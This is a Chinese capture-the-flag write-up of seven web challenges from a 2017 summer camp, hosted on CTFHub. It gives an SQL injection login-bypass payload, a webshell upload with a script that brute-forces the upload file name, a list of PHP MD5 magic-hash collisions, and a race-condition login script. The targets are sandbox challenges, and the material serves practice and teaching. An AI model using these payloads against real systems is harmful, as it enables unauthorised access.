2017-赛客夏令营-Web全家桶

tech2025-01-22  0

题目来自CTFHub,感谢平台的复现环境


2017-赛客夏令营

Injection V2.0UploaddddweakphprandominjectioncheckinFast RunningDONE


Injection V2.0

登陆查询的两种方式,参考博客

提交按钮是提交查询,看来不用登陆哈哈,这种查询一般有两种方式

一种是先查询用户名是否存在,在查询对应密码是否正确一种是直接查询用户提交的账号密码是否正确 输入账号admin密码admin提示密码错误,应该是第一种查询方式 fuzz发现函数基本都被过滤了,那么根据密码查询逻辑可以这样构造payloaduser=123'union/**/select/**/1/**/%23&pass=1

写在最后,payload最后的pass需要与select的数字相同,这是因为查询密码时if($row['password']==$password)前面的是你select的值,后面是你输入的pass


Uploadddd

知识点:目录扫描,简单代码审计,基本脚本编写

传个🐎试试,发现可以上传成功,但是没有路径,传其他 的也是这样,都没有路径。 扫描目录试试,有个备份文件,下载下来恢复一下 下载完使用vim -r .index.php.swp恢复文件,发现文件存在uploads/下,文件名是文件上传时间加一个随机数组成,在上传一次,用脚本爆破一下看看那个随机数就行了 抓包看下上传时间,脚本生成字典

time = '20200911154632' value = '' for i in range(1000): value += time+str(i)+'.php' value += '\n' #print(value) filename = 'dir.txt' with open(filename,'a',encoding='utf-8') as f: for i in value: f.writelines(i)

蚁剑连🐎,完活


weakphp

知识点:git源码泄露;php弱类型;md5碰撞

源码没看到什么东西,抓包看看,没发现啥,扫描器启动233 很明显了,git泄露,用GitHack恢复一下 进入dist目录,查看恢复源码 主要绕过(md5($user) == md5($pass)) and ($user != $pass),要求user与pass不同,但其md5加密后却相同,典型的md5碰撞。

php在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。 php弱类型参考博客

0e开头的md5和原值: QNKCDZO 0e830400451993494058024219903391 240610708 0e462097431906509019562988736854 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020

随便取出来两个用就好


random

知识点:爆破方式

不断刷新页面发现当前数字也不同,如题,random。 第一种burp爆破 脸黑,第一次失败了,再来一次,第二次一下就出来了。。。

第二种py脚本,锻炼写脚本的能力 因为懒没写正则,直接把页面全输出了哈哈哈

import requests url = 'http://challenge-c5ef534a16bbc86d.sandbox.ctfhub.com:10080/index.php?num=' for i in range(100): response = requests.get(url+str(i)) if 'ctfhub{' in response.text: print(response.text) break


injection

知识点:SQL的数字型注入 Practice makes perfect.God helps those who help themselves.Where there is a will,there is a way.One false step will make a great difference.

进入题目 id=2-1发现数字型注入 查有几个字段,2的时候正常,3不正常,说明字段为2

查表名

查列名 查字段 当然,sqlmap一把梭也行(我没试)


checkin

打开链接啥都没有,抓包看看 。。。这题没有知识点,base64解密


Fast Running

尝试弱密码登陆,失败;修改密码在登陆,也是失败,应该是后台又改掉了。我也是第一次做多线程题,还是看的别师傅的wp,参考博客 用python的threading模块可以实现多线程,只要你登陆的速度比后台改密码的速度快应该就可以了,上代码。

import requests import threading s = requests.session() class MyThread(threading.Thread): def __init__(self, item): threading.Thread.__init__(self) self.item = item def run(self): main(self.item) def main(args): if args == 1: while True: ur11 = 'http://challenge-2ac70a122538fa92.sandbox.ctfhub.com:10080/change_passwd.php?passwd=123456&passwd_confirm=123456' c = s.get(ur11).content else: while True: url2 = 'http://challenge-2ac70a122538fa92.sandbox.ctfhub.com:10080/login_check.php?passwd=123456' # c11 = s.get(url2, data={' passwd': 111}).content c1 = s.get(url2) print(c1.text) if __name__ == '__main__': t1 = MyThread(1) t2 = MyThread(2) t1.start() t2.start()

DONE

最新回复(0)